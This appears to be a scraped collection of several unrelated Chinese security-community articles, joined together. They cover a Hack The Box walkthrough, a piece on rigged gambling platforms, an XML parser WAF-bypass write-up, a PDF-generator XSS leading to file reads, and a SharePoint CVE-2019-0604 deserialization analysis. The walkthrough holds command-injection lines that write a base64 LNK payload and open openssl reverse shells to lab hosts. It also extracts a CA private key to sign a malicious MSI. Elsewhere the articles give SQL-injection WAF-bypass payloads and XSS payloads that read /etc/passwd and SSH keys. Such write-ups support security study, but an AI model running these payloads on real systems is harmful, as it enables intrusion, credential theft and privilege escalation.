Q4LmljbwAAAAA=%
使用set命令写入link.txt文件
127.0.0.1 | echo | set /p a=TAAAAAEUAgAAAAAAwAAAAAAAAEZhAAAAAAAAAIBwpaS039QBgHClpLTf1AGAcKWktN/UAQAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOcAFAAfUOBP0CDqOmkQotgIACswMJ0ZAC9DOlwAAAAAAAAAAAAAAAAAAAAAAAAAPAAxAAAAAAB1Tu14EABXaW5kb3dzACYAAwAEAO++dU7teHVO7XgUAAAAVwBpAG4AZABvAHcAcwAAABYAQAAxAAAAAAB1Tu14EABTeXN0ZW0zMgAAKAADAAQA7751Tu14dU7teBQAAABTAHkAcwB0AGUAbQAzADIAAAAYADwAMgAAKgQAdU7teBAAY21kLmV4ZQAmAAMABADvvnVO7Xh1Tu14FAAAAGMAbQBkAC4AZQB4AGUAAAAWAAAAsQAvYyBDOlxQcm9ncmF+MlxPcGVuU1NMLXYxLjEuMFxiaW5cb3BlbnNzbC5leGUgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDEwLjEwLjEzLjI0OjczfGNtZC5leGV8QzpcUHJvZ3JhfjJcT3BlblNTTC12MS4xLjBcYmluXG9wZW5zc2wuZXhlIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMC4xMC4xMy4yNDoxMzYbAFxcbG9jYWxob3N0XFNoYXJlXDQ2MTQ4LmljbwAAAAA=% > C:\Users\Public\Desktop\shortcuts\link.txt
通过openssl解析base64文件，并且写入 Visual Studio 2017.lnk文件
127.0.0.1 & C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -A -d -in "C:\Users\Public\Desktop\shortcuts\link.txt" -out "C:\Users\Public\Desktop\shortcuts\Visual Studio 2017.lnk"
## 拿到user.txt
等待lnk执行返回shell，最后拿到user.txt
## MSI提权
我们在D:\DEV\MSIs>note.txt找到一个提示，这里我们就需要把生成的恶意MSI放入MSIs目录下
D:\DEV\MSIs>type note.txt
Please drop MSIs that need testing into this folder - I will review regularly. Certs have been added to the store already.
请将需要测试的MSI放入此文件夹-我将定期检查。证书已添加到存储区。
在D:\cert下找到cer、pvk文件
D:\Certs>dir
Volume in drive D is Development
Volume Serial Number is 54E5-37D1
Directory of D:\Certs
07/07/2018 09:50 PM <DIR> .
07/07/2018 09:50 PM <DIR> ..
07/01/2018 09:26 PM 772 MyCA.cer
07/01/2018 09:26 PM 1,196 MyCA.pvk
2 File(s) 1,968 bytes
2 Dir(s) 8,428,077,056 bytes free
把cer、pvk文件数据转换成base64，方便取出来。
C:\progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.cer
MIIDADCCAeigAwIBAgIQIPZoDPLffoVFfuI8gqFGajANBgkqhkiG9w0BAQsFADAQ
MQ4wDAYDVQQDEwVNeSBDQTAeFw0xODA3MDEyMTI2MzlaFw0zOTEyMzEyMzU5NTla
MBAxDjAMBgNVBAMTBU15IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAnc1wfJAWkLGTZkTOLPigFzO5Wp+4Q6DtGHO3SxHubY3ru3caRm8y4Y5LHtlY
jc9ZP5BStiYsVtnqzJY1H+SxweLPQvpHYjSC54ZpMEt1AHKhuE9o9+2qdfNonRtK
/xLa2qcov0prPPs9LTkde5xIWw7fplAmrpvkVf4yfgSrmactNLoZby/lnG+nhsT5
j4ICZIGogo+Icn/eTy7UPCdRdfkOdzAHBX6xQfH6g/p7HGtPigH9rs4ia1cND6J+
NuPAuuLlMxpbSYE5Q1Gq8sRKdYnTMK9RfLnxa+N78qqR8R/MYr/RR4lKr2klwQm4
jWno4wAlqirjW5W7LDmBOsstNQIDAQABo1YwVDAPBgNVHRMBAf8EBTADAQH/MEEG
A1UdAQQ6MDiAEKuZwosHXc04qkkMrVgOXvShEjAQMQ4wDAYDVQQDEwVNeSBDQYIQ
IPZoDPLffoVFfuI8gqFGajANBgkqhkiG9w0BAQsFAAOCAQEAaJWYGIP0vCruQ7WP
43P0vFuwCmSLUYM+Edz+kQGBifhBnNsU+klJ18TWwazRGE4c72oAF+gNCAvfFKIq
2pbGUWaKnPzEO0znCg4pgdEIGHjNTePYngL0h76ItFlGOr4YttOIROflpk1dR6Cp
/1PwEOxZZ/9Kr9h1GVDiz2vcQW2VA8ALcgY584SKUkuKhE8Mqao78hU87e4dgXQL
KkqlkMYo7XeFa5MYZpiXCQNQNQIp1l7wAiA6mdaURtG6+PSoLZel8101iXYQbZUn
FAAiPQJ0lYyqerYP1tXtoSGUUEquiZFif3iU3VGA57L2repPbNIqOSOEmd47ZXT5
K9WXgA==
D:\Certs>C:\progra~2\OpenSSL-v1.1.0\bin\openssl.exe base64 -in MyCA.pvk
HvG1sAAAAAACAAAAAAAAAAAAAACUBAAABwIAAAAkAABSU0EyAAgAAAEAAQA1Lcs6
gTksu5Vb4yqqJQDj6GmNuAnBJWmvSolH0b9izB/xkarye+Nr8bl8Ua8w04l1SsTy
qlFDOYFJWxoz5eK6wOM2fqIPDVdrIs6u/QGKT2sce/qD+vFBsX4FBzB3Dvl1USc8
1C5P3n9yiI+CqIFkAoKP+cSGp2+c5S9vGbo0LaeZqwR+Mv5V5JuuJlCm3w5bSJx7
HTktPfs8a0q/KKfa2hL/ShudaPN1qu33aE+4oXIAdUswaYbngjRiR/pCz+LBseQf
NZbM6tlWLCa2UpA/Wc+NWNkeS47hMm9GGne7641t7hFLt3MY7aBDuJ9auTMXoPgs
zkRmk7GQFpB8cM2dcZKSZIFgfu9cfUwrnXbTQC2BzNdRgmJGHW+KXCFns7ve/Cfh
UUSEOwv+aZwivMWic+lUA3MbVE73k5SrWWAa8HfhyRGeVkClWynddhknlufRz3VT
owT8YoHrpOey+EJ48NX5kbb/lIL0qTzd4DtWbLDSI1oW+Cj3hiuQ1unQU7wF4Ukf
7jv7zghW6Bp6LoUBFd9Dxw0Irs/aVRPyLWKv1Smk7rdiZ+Ym6/upHuLBaak4L/rM
qvzeT+hoV9JkdOckXA54tEf0SYoamH2+mFwSgmenHjdHEPjKOC1FJOGacC/bKB4z
iw0AoLPAwoK+ld57HMo1mexAEfvwua3rT6WB1pHtuKszTcsw2llLlAk3C2OU8sJS
+XPjsy4564WZZJurWx10vlhPUpdKTGbF/QV+5b02FQiyR5HkWBtqKHRVyEdZB0l5
VFFUXWZBzYc//AqSfPZg19VcrGS2B8rU6oK/5dA4djw9oeYzpQDD5q6z/GlGrLCt
iwGht0fcUveev2+20QfAHkGMmK1l9ymFdABCxLxQ3RbsaRwFffzwIO7hICSjIPwP
8Lfl9SbLP1TqUhfmcWhDPNgBjvgI2HuiXOTOjqgo+ML8AP4t5ctAOV3idNqGA+8o
QfqbZIwXW8t3DhRMOQ+y+7kZAG+0Tl4W+64Z+WbpV5NQ4Lh5zSDmy0H3NookmLbM
k/+6gRKfzGSnvlxR8+yngqaJoCYziE/+F3k293lHyGz7swQ+/Pgn4VnKXJPJTHwM
Gh7npszdDimChYLZhdo8VKSPdIe1aBcwzlxWhKe8zU39ktBCVB6COH+X2rRlNXiv
vvvesEbLeD0y2vFxjWxCT1IcNMSe+NWLrRLVV1FlLtjTp+uIk8158Et7Mi5/i2h3
ic+SiTxnQceaA9VJHLXEp3yO7hKMEpH9amU41EtFVStmiRoO3S3Bv3gGmZNKxZGJ
aocRCf2Rc0AjRB2xbshYFx4hCpDPdXCZRzDIjJjxQEfl1rLxQqA5rz3/3K8SyJSL
S79t8hzxlqwZvuMkL8LJzJi4m9Bt9sc2IxMdka4oAHAvKNpoOi6fZKINibMP69xK
g7lubG3/Aft9LYH2DpSSt00WyPIqFIscvOqkzrBlJHW4Dj65gsdsBqKIvb0hdfpf
myOjgtyxIuox7xHZOTg0TjoOnw1oMAdlBLaDfRz91TDwdd5N6T83QXLy3gY=
解密base64,并生成新的文件
cat MyCa.cer | base64 -d > MyCa1.cer
cat MyCa.pvk | base64 -d > MyCa1.pvk
### 生成带签名的MSI
新建一个msi.xml文件
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>
<Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Directory Id="ProgramFilesFolder">
<Directory Id="INSTALLLOCATION" Name="Example">
<Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222">
</Component>
</Directory>
</Directory>
</Directory>
<Feature Id="DefaultFeature" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<Property Id="cmdline">cmd.exe /C "c:\users\public\desktop\shortcuts\lnkup.lnk"</Property>
<CustomAction Id="Stage1" Execute="deferred" Directory="TARGETDIR" ExeCommand='[cmdline]' Return="ignore"
Impersonate="yes"/>
<CustomAction Id="Stage2" Execute="deferred" Script="vbscript" Return="check">
fail_here
</CustomAction>
<InstallExecuteSequence>
<Custom Action="Stage1" After="InstallInitialize"></Custom>
<Custom Action="Stage2" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
这里我们需要切换到windows环境
下载wix311.exe执行并安装。
安装完后切换到wix目录，使用candle.exe生成msi.wixobj
使用light.exe 生成lnkup.msi
C:\Program Files (x86)\WiX Toolset v3.11\bin>candle.exe -out d:\cer\ d:\cer\msi.xml
Windows Installer XML Toolset Compiler version 3.11.1.2318
Copyright (c) .NET Foundation and contributors. All rights reserved.
msi.xml
C:\Program Files (x86)\WiX Toolset v3.11\bin>light.exe -out d:\cer\lnkup.msi d:\cer\msi.wixobj
Windows Installer XML Toolset Linker version 3.11.1.2318
Copyright (c) .NET Foundation and contributors. All rights reserved.
d:\cer\msi.xml(6) : warning LGHT1079 : The cabinet 'product.cab' does not contain any files. If this installation contains no files, this warning can likely be safely ignored. Otherwise, please add files to the cabinet or remove it.
d:\cer\msi.xml(10) : error LGHT0204 : ICE18: KeyPath for Component: 'ApplicationFiles' is Directory: 'INSTALLLOCATION'. The Directory/Component pair must be listed in the CreateFolders table.
生成rick.cer、rick.pvk
C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Bin>makecert.exe -n "CN=Ethe
real" -pe -cy end -ic e:\cer\MyCa1.cer -iv e:\cer\MyCa1.pvk -sky signature -sv e:\cer\NewCa.pvk e:\cer\NewCa.cer
Succeeded
生成rick.pfx
C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Bin>pvk2pfx.exe -pvk e:\cer\NewCa.pvk -spc e:\cer\NewCa.cer -pfx e:\cer\NewCa.pfx
证书和MSI文件合成
C:\Program Files (x86)\Microsoft SDKs\Windows\v7.1A\Bin>signtool.exe sign /f e:\cer\NewCa.pfx e:\cer\lnkup.msi
Done Adding Additional Store
Successfully signed: e:\cer\lnkup.msi
dir D:\DEV\MSIs
把lnkup.msi写入shortcuts目录下
127.0.0.1 | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73 | cmd.exe | C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:136 > "C:\Users\Public\Desktop\shortcuts\lnkup.msi"
查看目录是否有lnkup.msi和lnkup.lnk文件
127.0.0.1 | dir c:\users\public\desktop\shortcuts\ |C:\Progra~2\OpenSSL-v1.1.0\bin\openssl.exe s_client -quiet -connect 10.10.14.2:73
返回：
Directory of c:\users\public\desktop\shortcuts
04/02/2019 09:49 AM <DIR> .
04/02/2019 09:49 AM <DIR> ..
04/02/2019 09:01 AM 519 lnkup.lnk
04/02/2019 09:00 AM 32,768 lnkup.msi
04/02/2019 09:01 AM 519 Visual Studio 2017.lnk
3 File(s) 33,806 bytes
2 Dir(s) 15,413,420,032 bytes free
删除Visual Studio 2017.lnk ，并且把lnkup.lnk写入Visual Studio 2017.lnk
| del "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk" & copy "c:\users\public\desktop\shortcuts\lnkup.lnk" "c:\users\public\desktop\shortcuts\Visual Studio 2017.lnk" & dir c:\users\public\desktop\shortcuts
接收到shell
copy c:\users\public\desktop\Shortcuts\lnkup.msi D:\DEV\MSIs\lnkup.msi
最后重新打开openssl监听76、136端口等待root shell。
靶机地址：
<https://www.hackthebox.eu/home/machines/profile/157>
参考：
<https://blog.csdn.net/wangyezi19930928/article/details/40919173>
（linux下挂载fat）
<https://github.com/Plazmaz/LNKUp> （生成LNK的工具）
<https://blog.inequationgroup.com/openssl-nc/> (openssl 反弹shell)
<https://blog.xpnsec.com/becoming-system/> (生成MSI方法)
<https://github.com/wixtoolset/wix3/releases/tag/wix3111rtm> （下载wix3）
<https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with> (wix3使用教程)
<https://support.spirion.com/hc/en-us/articles/115000019391-Signing-an-Edited-Windows-Installer-package-msi-file-> （MSI签名部署） | 社区文章 |
# 赌博永远赢不了的原因？“庄家”出老千！
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
有情感需求的地方，就有虎视眈眈的杀猪盘。 **杀猪盘是一种网络交友诱导投资赌博类型的新型诈骗方式，**
骗子主要通过社交、婚恋等平台寻找目标用户，也就是所谓的“猪”，把恋爱叫做”养猪”，把聊天工具视作”猪食槽”，同时，还有一套培养感情的剧本，称之为”猪饲料”……这种披着爱情外衣、用甜言蜜语欺诈的过程叫做”杀猪”，而这套骗术叫做”杀猪盘”。
**主要受害群体：不分年龄、不分性别、渴望得到情感满足。**
近期，关于杀猪盘的报道，再次将这类杀伤力极大的诈骗推到人们的视野。“宰杀”过程，大多是诱导受害人进行赌博投资，那么问题来了，为什么网络博彩是骗人的把戏？为什么逢赌必输？“庄家”一票否决的权利，看完你就能明白。
## 揭底博彩平台有哪些“操盘”功能
博彩平台主要包含业务流水、开奖数据、时间管理、数据统计、代理分成管理、用户管理、系统设置等功能。
### 业务流水
审批用户的充值及提现请求、查询用户的充值流水情况。 **可以理解为即使用户盈利，平台也可以拒绝让你提现。**
##
### 开奖数据
查看各彩种的开奖数据，并可针对彩种手动设置开奖数据。 **可以理解为平台可控制输赢。**
### 时间管理
设置每期彩种的开奖时间，何时开奖，全凭心情。
### 数据统计
统计每位赌客投注金额、中奖金额、退水&盈亏情况。其中退水指的投注达到一定金额后，庄家按照一定的百分比退金额。
### 代理分成管理
统计代理的充值、提现、投注、中奖、退水、盈亏情况。
### 用户列表
指的是查看用户的投注、盈利情况、登录情况（IP、浏览器、操作系统、是否为移动设备、登录时间）， **且可对该账户进行强制下线**
，即杀猪盘中手法中，对方表示由于“赌客没有在规定时间购买博彩项目”导致账户都冻结，需要充值解冻。
### 系统设置
内容比较多，主要包含网站设置、玩法管理、数据清理等功能：
n网站设置，指的是对网站标题、公告、充值流水、在线客服链接、APP链接进行设置。 **同时可以对提现额度进行设置。**
n玩法管理，指的是对博彩平台的彩种进行赔率、退水、投注金额进行设置。
n数据清理，指的是清理赌客和平台的数据， **特别是对账号低于一定金额、连续几天未登录的赌客的账号进行清理，** 即用户受骗后无法登录博彩平台。
## 博彩平台自主搭建，源码从哪里来？
由于博彩行业相对成熟，市场上既有包网平台提供一站式博彩平台搭建服务，也有二手贩子“盗取”博彩平台源码后进行层层流转，明码标价的贩卖。 | 社区文章 |
# WAF Bypass之xerces解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
JAVA的XML解析，底层用的是 _xerces_ ，而xml本身的特性及xerces的一些特性，可以用来造成WAF与后台代码的解析不一致。
文章是在看完代码后的三个月写的，所以并没有尝试把所有绕过手法的代码逻辑点列出。
## 1\. Charset
### 1.1 Magic Charset
XML文档可以通过头部标签声明版本与字符集，常见的有UTF-8、GBK、ISO-8859-1。
JAVA的底层XML解析库xerces在在读取XML文档时，首先会根据XML文档的头4个字节选择对应的字符流Reader来读取XML文档，如果XML文档有XML标签头，该Reader只是用于读取XML标签头，后续的XML内容选用什么字符流Reader则会另外根据XML标签头来决定；如果XML文档没有标签头，则该Reader将会用于读取整个XML文档。
根据XML文档头4个字节选择字符流读取器的关键代码位于
jdk1.8.0_191src.zip!comsunorgapachexercesinternalimplXMLEntityManager.java：
判断字符集的getEncodingName方法代码如下，其中UCS-4 2143、UCS-4 3412字最后是会抛异常提示不支持的字符编码。
所以最后看来，我们可以得到下面这个表，而为了方便区分，笔者将该手法称为 **Magic Charset** 。
### 1.2 Declare Charset
如果用户在XML文档的XML头标签中中通过encoding指定了字符集，后续的XML文档读取将会根据该属性值选择一个字符流读取器。
最后设置Reader的关键代码位于
jdk1.8.0_191src.zip!comsunorgapachexercesinternalimplXMLDocumentFragmentScannerImpl.java
jdk1.8.0_191src.zip!comsunorgapachexercesinternalimplXMLEntityScanner.java
在这里，我们还另外需要关注一下createReader中的EncodingMap，这里对字符集名称做了别名的映射，如IBM037与CP037实际上是同一个字符集。
jdk1.8.0_191src.zip!comsunorgapachexercesinternalutilEncodingMap.java：
### 1.3 Double Charset
由于magic charset与declare charset的逻辑是独立的，我们可以分别对XML头标签与XML内容使用不同的编码。
## 2\. String Split
### 2.1 LABEL INSERT
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">" union select 1 -- -</test>
</root>
添加额外标签进行字符串分割：
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">" uni<foo>foo1 foo2</foo><foofoo/>on select 1 -- -</test>
</root>
使用注释进行字符串分割：
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">" uni<!--foo-->on select 1 -- -</test>
</root>
使用PI标签进行字符串分割：
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">" uni<?foo1 foo2 ?>on select 1 -- -</test>
</root>
jdk1.8.0_191src.zip!comsunorgapachexercesinternalimplXMLDocumentScannerImpl.java：
### 2.2 CDATA
使用CDATA标签进行字符串分割：
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test att="foo">" uni<![CDATA[o]]>n select 1 -- -</test>
</root>
## 3\. DTD
值得注意的是，xstream默认关闭DTD；XMLDecoder虽然没有关闭，但是对于Weblogic
XMLDecoder，由于其特色的解析流程，对于Weblogic XMLDecoder是无法利用的。
这里不贴代码了，有的是来源RFC，而且代码是三个月前看的，不想找啊。
### 3.1 ATTLIST
标签的属性与值，可以通过DTD进行定义，原始XML文档：
<?xml version="1.1" encoding="ISO-8859-1" ?>
<root>
<test att="foo"></test>
</root>
使用DTD ATTLIST，写作：
<?xml version="1.1" encoding="ISO-8859-1" ?>
<!DOCTYPE foo [
<!ATTLIST test att CDATA #FIXED "foo">
]>
<root>
<test></test>
</root>
使用HTML编码、CDATA也可以：
<?xml version="1.1" encoding="ISO-8859-1" ?>
<!DOCTYPE foo [
<!ATTLIST test att CDATA #FIXED "<![CDATA[f]]>oo">
]>
<root>
<test></test>
</root>
### 3.2 local entity
通过在DTD中定义本地实体，可在标签属性值、标签内容、DTD字符串值，这些字符串区域引用。
<?xml version="1.0" encoding="UTF-8"?>
<root>
<test>" union select 1 -- -</test>
</root>
使用本地实体：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY test1 "select">
<!ENTITY test2 "union">
]>
<root>
<test>" &test2; &test1; 1 -- -</test>
</root>
使用HTML编码、CDATA也可以：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY test1 "<![CDATA[el]]>ect">
<!ENTITY test2 "union">
]>
<root>
<test>" &test2; &test1; 1 -- -</test>
</root>
## 4\. XML1.1
### 4.1 space char
当XML版本被声明为1.1时，XML的解析将支持一些额外的空白字符、控制字符。
jdk1.8.0_191src.zip!comsunorgapachexercesinternalimplXML11EntityScanner.java：
jdk1.8.0_191src.zip!comsunorgapachexercesinternalparsersXML11Configuration.java：
代码中的x85是指码点，而非我们平时所见的unicdoe字符。而x85二进制为10000101，高位为1，根据笔者认知，UTF-8无法使得8比特码点成为UTF-8字符，因此我们无法在UTF-8中使用它，但在ISO-8859-1、UTF-16等字符集中我们可以使用它：
<?xml version="1.1" encoding="iso-8859-1"?>%85<root%85>foo</root%85>
在UTF-16BE中对应的unicode字符为x00x85：
同样的，x28x20是指码点，其UTF-8编码字符为%E2%80%A8，推导过程如下：
x20 x28转2进制比特：
00100000 00101000
UTF-8中三个字节的编码规范：
1110XXXX 10XXXXXX 10XXXXXX
x20x28转UTF-8的2进制比特：
11100010 10000000 10101000
x20x28的UTF-8编码为:
%E2%80%A8
于是我们可以对XML文档进行如下修改：
<?xml version="1.1" encoding="utf-8"?>%E2%80%A8<root%E2%80%A8>foo</root%E2%80%A8>
## 结语
除开JAVA外，还有.NET、PHP，而作为XML的子集SOAP，不知SOAP自身是否还有其他特性。 | 社区文章 |
## **一 前言**
作为一名漏洞复现工程师的我在试图挖掘XSS漏洞时,不论是正常的输入payload触发XSS还是通过导入xls、pdf等文件进行解析或者自己输出内容生成xls
pdf文件时触发XSS，总喜欢浅尝辄止,看到触发了XSS漏洞就可以了。有时候多想一步看看是否可以结合本地文件包含或者SSRF漏洞，实现漏洞利用的最大化。
## **二 准备阶段**
这是一个读者可以上传图书内容的功能，读者在前台上传了之后会在后台生成一个PDF文件,一般情况下基于用户输入生成PDF文件的地方可能容易受到XSS的攻击，从而泄露服务器的敏感数据。
用户可以在该处输入书名、作者，以及上传图书内容
用户上传之后会在后台生成一个包含书名 作者 书的内容链接的pdf文件
一般的测试步骤如下
1 找到可控的输入
2 尝试对输入进行HTML标记，看是否可以解析HTML
3 测试不同的协议(比如file http https),尝试读取内部文件(这是最重要的,探测到使用的是什么协议才方便来读物内部文件)
4 使用JS注入来读取内部文件
## **三 漏洞利用**
根据上面的步骤一步步来
在输入框输入
# r3dbucket
相关数据包如下
然后在后台生成了一个PDF文件,我们打开PDF,可以看到HTML的标签被解析了
基础有了，感觉有戏，写个XSS payload,增强下信心
<img src="x" onerror="document.write('test')" />
内心毫无激动，常规操作了(内心慌的很，生怕在进行各种绕过)
接下来探测下使用的是什么协议,方便进行文件的读取操作
<script>document.write(document.location.href)</script>
可以看到用的是file协议，然后构造payload进行文件的读取，读取下hosts文件和passwd文件，构造payload如下
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/hosts’);x.send();</script>
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(‘GET’,’file:///etc/passwd’);x.send();</script>
可以看到我们的payload是成功的，成功读取到了hosts文件和passwd文件的内容
拿下主机权限是我们的最终目标，尝试去读取id_rsa
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>
接下来就是进行图片文字识别，然后进行登录了。
## **四 总结**
这个漏洞可以看成是回显的吧，可以通过下载PDF来看,不必要在通过外带技术来看是否成功了,总之单个漏洞的危害也许有限,组合拳的危害就大了,学习之路任重道远呀。 | 社区文章 |
亲爱的白帽子，
10月份月度奖励及悬赏活动的获奖公告如下：
活动一：九月月度奖励，最高奖励一万元，获奖的白帽子如下：
第1名：kernel_dbg，积分1030，奖励人民币税后10000元。
第2名：bey0nd，积分900，奖励人民币8000元。
第3名：换个昵称，积分850，奖励人民币税后7000元。
第4名：Gr36_，积分520，奖励人民币6000元。
第5名：P，积分440，奖励人民币税后5000元。
第6名：上海安识网络科技有限公司，积分300，奖励人民币4000元。
第7名：A，积分290，奖励人民币税后3000元。
第8名：九江墨眉网络科技有限公司，积分275，奖励人民币2000元。
第9名：Ambulong，积分270，奖励人民币税后1000元。
第10名：广西北斗天璇信息科技有限公司，积分270，奖励人民币500元。
*积分相同按照先达到积分的时间排名
活动二：6000元悬赏严重漏洞活动之额外奖励计划（详见[https://xianzhi.aliyun.com/notice/detail.htm?spm=a2c0h.8049718.0.0.9EqGZQ&id=29）。](https://xianzhi.aliyun.com/notice/detail.htm?spm=a2c0h.8049718.0.0.9EqGZQ&id=29）。)
获奖的白帽子如下：
1、Gr36_，奖励人民币税后500元。
其中，多挖多得劳模奖：获得奖励500元。 | 社区文章 |
上个月，Microsoft发布了补丁来解决`SharePoint`中的两个远程代码执行（RCE）漏洞。使用这两个被评级为严重的漏洞，攻击者可以发送任意命令请求并在SharePoint应用和服务器账户中执行任意代码。
`Markus Wulftange`向`ZDI`计划报告了这两个漏洞。 他提供了有关`CVE-2019-0604`细节。
在搜索新漏洞时，一种有效方法是自下而上进行搜索。文章描述到，在分析寻找控制流数据流的过程中我们可以使用一种比较新颖的方法以便能够查明数据能否接触到`sink`。
其中一个常用的`sink`是使用`XmlSerializer`反序列化方法。
通常，它被认为是一个安全的序列化程序，因为它必须使用指定的类型数据进行检测，并且不能出现在期望类型的对象图中。但是，如果预期的类型数据也可以被控制，那么它也是可以被利用的，因为在星期五的时候，它已经由`AlvaroMuñoz`和`Oleksandr
Mirosh`在其第13次JSON攻击中记录下来[PDF](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)。
为了分析`SharePoint
2016`程序集，`dnSpy`是一个很好的工具，因为它可以用于`.NET`应用程序的反编译和调试。因此，在将`dnSpy`附加到运行`SharePoint
2016`的`IIS`工作进程`w3wp.exe`并且加载程序集之后，我们可以分析`XmlSerializer（Type）`构造函数的用法。现在，更为复杂的分析部分是我们必须看每个`XmlSerializer（Type）`构造函数的调用并检查其类型是否完全可变。例如它不像新`XmlSerializer`中那样使用硬编码的方法。
调用`XmlSerializer（Type）`构造函数的方法之一是`Microsoft.SharePoint.dll`中的`Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId（string）`方法。具有相同功能的类型也位于`Microsoft.SharePoint.Portal.dll`中的`Microsoft.Office.Server.ApplicationRegistry.Infrastructure`命名空间中。稍后我们将回到此处并使用`Microsoft.SharePoint.dll`中的方法进行下一步操作。
这里，用于指定期望类型的`typeName`和反序列化的数据都源自文本函数，该文本源自方法的参数`encodedId`。
只要调用该方法并对传递的参数进行控制，那么就能够完美运行我们的程序。
### 追溯数据流源头
下一步是通过调用函数并查看它们是否来自可以从外部进行启动以及是否也可以提供参数值。
如果用户熟悉`ASP.NET`，则某些方法并不陌生，如`Page_Load（object，EventArgs）`或`OnLoad（EventArgs）`。
它们在ASP.NET生命周期中被调用，它们在扩展`System.Web.UI.Page`中定义的类型表示`.aspx`文件的基类型。
事实上，这三种类型都有相应的`.aspx`文件：
· Microsoft.SharePoint.ApplicationPages.ActionRedirectPage:
/_layouts/15/ActionRedirect.aspx
· Microsoft.SharePoint.ApplicationPages.DownloadExternalData:
/_layouts/15/downloadexternaldata.aspx
· Microsoft.SharePoint.Portal.WebControls.ProfileRedirect:
/_layouts/15/TenantProfileAdmin/profileredirect.aspx
虽然在这三种情况下，参数值都来自HTTP请求，但它们同样是URL的查询字符串。
这可能会出现一个问题，因为十六进制编码会将长度乘以4，从而可以变得非常长并超过HTTP请求行的限制。
经过进一步分析，最后一个，`ItemPicker.ValidateEntity（PickerEntity）`方法证明是一个更好的选择。
这里，传递的`PickerEntity`的`PickerEntity`的`Key`属性用于`EntityInstanceIdEncoder.DecodeEntityInstanceId（string）`调用。
它由`EntityEditor.Validate()`调用，它迭代存储在`EntityEditor.Entities`属性中的每个条目中以用来进行验证。
该方法由`EntityEditor.LoadPostData（string，NameValueCollection）`调用，该实现`System.Web.UI.IPostBackDataHandler.LoadPostData（string，NameValueCollection）`方法。
因此，对`PostPicker Web`控件的消息请求会自动调用该方法。 调用图如下所示：
并且我们要注意类型层次结构：
### 数据流验证
现在有一种方法可以从`ItemPicker
Web`控件发送到达`EntityInstanceIdEncoder.DecodeEntityInstanceId（string）`，然而此时我们仍然不清楚是否可以控制`PickerEntity`的`Key`属性。
`EntityEditor.Entities`属性由私有字段`m_listOrder`决定，该字段仅在两个点处分配：在实例化期间和在`EntityEditor.Validate()`方法中。在后一种情况下，它获得分配的私有字段`m_listOrderTemp`的值。同样，该字段也只在两个点中进行分配：在实例化期间和`EntityEditor.ParseSpanData`方法中。该方法也由`EntityEditor.LoadPostData（string，NameValueCollection）`调用，其值为`HtmlInputHidden`，名称为`“hiddenSpanData”`。该字段的值可以由用户控制。
之后我们需要查看`EntityEditor.ParseSpanData（string）`对传递的数据所做的工作，以及它是否最终成为`PickerEntity`的`Key`。我们将跳过它，因为`EntityEditor.ParseSpanData（string）`很长，除非它包含嵌套的和
标签的特殊结构并且被解析出来，其他的内容都会在`PickerEntity的Key`中结束，然后出现在`m_listOrderTemp`列表中。
所以，现在我们现在遍历了一个向量，并允许我们从`ItemPicker`的`post
back`处理到达`EntityInstanceIdEncoder.DecodeEntityInstanceId（string）`，同时还可以控制输入。还剩下的是找到该Web控件的实例。
### 寻找攻击点
`ItemPicker Web`控件实际上从不直接在`.aspx`页面中使用。
但是当查看其基类型`EntityEditorWithPicker`时，我们发现在`/_layouts/15/Picker.aspx`中有一个使用它的`Picker.aspx`文件。
该页面要求使用对话框的类型并通过`“PickerDialogType”`URL参数以其程序集限定名称的形式。
在这里，可以使用以下两种`ItemPickerDialog`类型中的任何一种：
· Microsoft.SharePoint.WebControls.ItemPickerDialog in
Microsoft.SharePoint.dll
· Microsoft.SharePoint.Portal.WebControls.ItemPickerDialog in Microsoft.SharePoint.Portal.dll
使用第一个`ItemPickerDialog`类型显示以下页面：
这里，底部文本字段与`ItemPicker`相关联。 并且还有`HtmlInputHidden`的通讯员，名字为`ctl00 $
PlaceHolderDialogBodySection $ ctl05 $ hiddenSpanData`。
这是我们的`EntityInstanceIdEncoder.DecodeEntityInstanceId（string）`sink的数据源。
### 概念证明
